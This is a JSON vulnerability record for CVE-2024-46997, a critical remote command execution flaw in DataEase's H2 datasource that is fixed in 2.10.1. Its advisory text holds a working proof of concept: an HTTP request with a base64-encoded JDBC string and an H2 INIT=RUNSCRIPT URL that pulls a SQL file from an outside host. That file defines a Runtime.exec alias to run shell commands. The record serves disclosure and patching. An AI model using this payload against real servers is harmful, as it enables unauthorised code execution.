{"id":"CVE-2024-46997","aliases":["GHSA-h7mj-m72h-qm8w"],"url":"https://o3.security/vulnerability/CVE-2024-46997","summary":"DataEase's H2 datasource has a remote command execution risk","details":"### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","published":"2024-09-23T15:14:26.550Z","modified":"2026-08-12T03:51:36.550738802Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"io.dataease:common","fixedVersion":"2.10.1"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/46xxx/CVE-2024-46997.json"},{"type":"ADVISORY","url":"https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46997"},{"type":"PACKAGE","url":"https://github.com/dataease/dataease"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.550738802Z"}}